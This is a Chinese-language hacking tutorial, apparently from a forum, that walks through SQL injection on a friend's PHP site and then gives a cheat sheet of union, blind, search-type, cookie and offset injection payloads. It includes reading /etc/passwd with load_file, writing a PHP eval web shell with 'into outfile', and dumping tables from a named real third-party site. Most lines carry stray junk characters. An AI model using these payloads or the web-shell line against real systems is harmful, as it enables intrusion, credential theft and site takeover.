我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~. z' O$ Q) d2 P8 T
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
! v% g( P% S7 a6 b0 t我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
v/ u( u9 F) m1 W: c8 x0 w如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
, {1 r- d$ ^ `0 W. o& S2 T1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)2 X9 i, Q0 Z, S, g
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:, `$ r- z8 U, Z8 i6 L* s) B: e
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in5 l0 q5 u: X) l& P f
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
V0 f8 Y1 k1 O5 A6 M $ S4 f- L% K7 E6 ?2 {# }& M) ^0 W
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
9 A$ `" Q3 P: [) F5 h" R& {4 J3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意' E1 x+ }. U' F2 E
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
5 n! |; k' f3 e5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
9 J! u2 o: Z2 \# k2 T2 S2 K( o有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,* F3 J6 h" ], i- G) E, ^7 I7 \
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。 k6 a% c+ X z
我就用的是第二个思路,
# z. I- T% M7 J' D/ i/ V提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- 0 z- x! N9 K R+ r
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,$ d, U) [1 \, a
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--& d2 Y4 C/ I/ \8 ~) f
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。2 j3 q' g7 c( B! P: i
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????/ \/ B! }* x2 O: J4 u8 L
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
' {4 E8 d: J7 }) o+ \提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --% |5 c" r; M' c2 c; F5 G4 ~
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
6 }! X, H: Y) W调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
2 e- z) j- S* e下面是一些很普遍注入方式资料:
: G, t4 m% a9 U F4 Q7 Q5 z' f3 E注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='8 p9 `% Z0 u, l+ t
拆半法
7 v2 i. J4 @0 i4 v) h3 c######################################
, u; s# |/ h8 p. h: Cand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
$ ? b0 u/ W- N( M! G4 L) zand exists (select * from admin)9 o, G" }+ C) i& [
and exists(select id from admin)" ~( T/ ]/ M' t; O4 H
and exists(select id from admin where id=1)0 k; }. D1 z8 k0 W7 e
and exists(select id from admin where id>1)
6 @2 ]( W# n8 M, N) B然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
* \- b- S/ q8 I: v4 S! v* iand exists (select username from admin)4 A) _ R- F* m# Q* t4 O
and exists (select password from admin)
+ q p/ B3 ], l* g8 {* D8 L- aand exists (select id from admin where len(username)<10 and id=1). o9 t( W! j6 R( R ?0 R! B
and exists (select id from admin where len(username)>5 and id=1)
( V( X. W- T5 c8 i4 r' D4 j% e" {+ Aand exists (select id from admin where len(username)=6 and id=1)
3 r$ z: ?5 k) L% Jand exists (select id from admin where len(password)<10 and id=1)/ `* V2 e) o; o; Z! L- n
and exists (select id from admin where len(password)>5 and id=1)
: b2 V/ r! d8 M8 c9 a/ E3 \3 rand exists (select id from admin where len(password)=7 and id=1)/ F+ _, z" C: [6 k; q7 q( o
and (select top 1 asc(mid(username,1,1)) from admin)=97
& \& f( x3 b( ?. J) Q3 I返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
, f; r, X: ^7 W I猜第二位把username,1,1改成username,2,1就可以了。* W* u: y! @7 u% N. b& a
猜密码把username改成password就OK了
/ a! c4 s U0 a1 x2 L5 B j##################################################- v- B* E# [/ r2 a2 W* ?
搜索型注入4 F5 y/ r& q4 v( |4 ]: ~8 Z
##################################
6 g9 n8 k6 y8 z6 T$ p! Z8 b8 T%' and 1=1 and '%'='4 A* R" @1 v+ I* E: _) C2 W( D
%' and exists (select * from admin) and '%'='
$ x, U4 }% g/ k2 a5 |$ N: m" T f%' and exists(select id from admin where id=1) and '%'='9 y5 Q6 I* p9 J& N9 [
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
5 r. D+ `: ~1 [& E0 E4 n%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
5 X: Y1 K3 ]& H. K% J5 a( \%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
0 P6 k( K0 ~( U4 n9 L& _9 K% L这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='7 x) W/ ]" u, U8 |, y
对于MSSQL数据库,后面可以吧 and '%'='换成--
" s* h: P7 K; h- k: F还有一点搜索型注入也可以使用union语句。5 |! _2 A4 y" l' U
########################################################1 L% n1 s) b9 [0 s. n3 M* e
联合查询。
& Q. j% w' o2 X#####################################
0 F; b* ?0 ]7 G- c5 m: worder by 10
9 s7 H# m0 {& rand 1=2 union select 1,2,3,4,5,6,7,8,9,10+ A1 K5 Q3 e: M+ P' G9 v
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
+ s0 n2 B1 k6 ^and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
3 `1 a0 A9 `+ i' q很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!), p$ R1 G8 O. m, K% c: z& w+ a
###################################
( x( K* |: w2 w+ F* S( Q0 Wcookie注入4 }% K+ ]4 D0 p+ \, _( m
###############################9 T/ k: o. Q6 d" F3 d# I4 ]
http://www.******.com/shownews.asp?id=127* w) J2 n3 i" }' Z5 D. r0 P
http://www.******.com/shownews.asp
! e0 y6 ~! x9 f1 j+ N# C- yalert(="id="+escape("127"));- w& C; y& B1 x5 s+ ]% V! T( e
alert(="id="+escape("127 and 1=1"));
1 N! A, O" T M. L; Talert(="id="+escape("127 order by 10"));
@' M" v9 n P' _ D6 o+ Palert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));* j3 B. G" X& T+ v
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
3 E+ B; X: F+ @6 H: K. R这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。5 \, n1 V/ E* G2 f
###################################
9 ?- M7 _: ^4 p% W% W9 k偏移注入
; k" J( M, e- |8 ^###########################################################7 T: I, k1 t8 X( r' |# }
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin( K2 G6 |: G- a4 f5 p6 Z% M2 s
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
' c B" O3 F* Iunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
. n' M3 r# K8 x% ?union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
4 d# A6 s) @1 R3 W0 X: Q/ ?, X, Q4 x) P. Lunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id), C$ G& f& p8 ?- g& s6 a" R( P h
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)# \$ v* U- y6 o! y1 H
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on. Q' ]1 l( j7 {2 c, X! a1 I7 r8 B
a.id=d.id)# ]% G& S+ @2 K7 E3 e, v% }. `
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
# u, `& A t: ~7 dand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 4 H: \% @8 \' Z9 r6 Q
" ~* O6 E9 l3 T# k& `============================================================================================================/ N `0 i0 \$ P4 K
1.判断版本3 E1 t9 O( ?3 {2 H
and ord(mid(version(),1,1))>51
! f) T5 F0 }& n* H0 ]- P返回正常,说明大于4.0版本,支持ounion查询8 k& `, k, b4 n2 R3 f/ e) ?6 p8 a
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
2 l. K2 ]5 g: _8 land 2=4 union select 1,2,3,4,5,6,7,8,9--
: k! k0 S! C$ k3.查看数据库版本及当前用户,* ]/ l. w, b& t0 a* R4 R
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--; D* P4 m/ F. _- t: k% h
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,: O! b" Q$ z3 L5 s! M
4.判断有没有写权限9 U) ~0 a6 Z! ^6 N' L# [
and (select count(*) from MySQL.user)>0--
% m8 F2 A- Y# O7 T( s2 p* p, q6 c, W5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
s. b1 n& N# s" D- c5 f4 u用不了这个命令,就学习土耳其黑客手法,如下& o4 r& e3 h5 W) w2 u7 M
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
9 a, k% l( C% [8 C6.爆表,爆库
5 I- ^7 I8 x+ z7 f. |$ P# band+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--5 B& e& X; }, U9 X2 h' ?7 n% h2 S
7.爆列名,爆表& N$ S: D( I9 p; H. G
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
2 |4 [1 V& x6 ?* f& }8.查询字段数,直接用limit N,1去查询,直接N到报错为止。7 k) S6 q/ ~ Z
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
+ k, y# Q7 u# O9.爆字段内容
, `: }* T# _ v. Zand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
' z% e. P( T) B2 Y3 k* G1 ~ Dhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |